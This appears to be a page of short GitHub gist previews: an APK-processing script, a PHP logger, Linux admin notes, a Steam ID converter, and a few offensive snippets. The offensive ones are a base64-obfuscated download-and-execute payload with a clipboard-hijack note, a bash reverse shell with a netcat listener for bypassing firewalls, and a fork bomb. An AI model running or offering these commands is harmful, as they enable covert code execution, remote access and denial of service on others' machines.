This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
import subprocess | |
from datetime import date | |
import xml.etree.ElementTree as ET | |
inputFolder = "/home/user/Desktop/apks/leftover" | |
outputFolder = "/home/user/Desktop/apks/leftover-output" | |
files = os.listdir(inputFolder) | |
csv = "" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function clog($info) | |
{ | |
echo '<script>'; | |
echo 'console.log("OUT: "+'.json_encode($info).')'; | |
echo '</script>'; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# xwininfo | |
# byzanz-record --duration=25 --x=2027 --y=189 --width=979 --height=682 out |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
http://codingbee.net/tutorials/rhcsa/rhcsa-the-concept-of-default-routes-and-dns/ | |
https://www.certdepot.net/rhel7-configure-system-use-existing-ldap-directory-service-user-group-information/ | |
make new swap partition | |
#fdisk /dev/<device> | |
#c,p //Create partition | |
#t 82 //change type to swap | |
#w //write | |
#mkswap /dev/<device> | |
#swapon /dev/<device> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Hide a payload in base64 | |
echo 'wget myplayoad.sh; chmod +X ./mypayload.sh; ./mypayload.sh' | base64 | |
#execution: | |
echo d2dldCBteXBsYXlvYWQuc2g7IGNobW9kICtYIC4vbXlwYXlsb2FkLnNoOyAuL215cGF5bG9hZC5zaAo= | base64 -d | /bin/bash | |
#javascript clipboard hijack, then force execution on paste. | |
#javascript example: | |
document.oncopy = hijackClipboard; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#use to bypass regular firewall restrictions on client | |
#port forward on my router to allow incoming connection | |
nc -lvp <port> | |
bash -i >& /dev/tcp/<my ip>/<port> 0>&1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
:(){ :|: & };: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$steamid = $_POST['steamidbutton']; //Retrieves steam ID from textbox on page post | |
$split = explode(":", $steamid); | |
$x = substr($split[0],6,1); | |
$y = $split[1]; | |
$z = $split[2]; | |
//Steams algorithm for creating IDs, more info can be found on steams web api FAQ | |
$NewSteamID = (($z * 2)+$y); | |
//Convert to ID64 by adding finalised $NewSteamId to the base number used by steam | |
$NewSteamID = bcadd($NewSteamID, "76561197960265728", 0); |